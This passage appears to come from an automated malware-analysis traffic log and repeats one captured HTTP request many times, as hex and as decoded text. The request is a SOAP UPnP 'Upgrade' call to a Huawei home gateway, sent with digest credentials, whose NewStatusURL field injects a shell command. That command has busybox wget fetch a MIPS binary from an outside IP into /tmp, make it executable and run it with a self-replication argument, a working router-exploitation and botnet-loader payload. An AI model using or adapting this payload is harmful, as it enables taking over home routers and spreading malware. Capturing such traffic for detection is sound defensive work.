2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 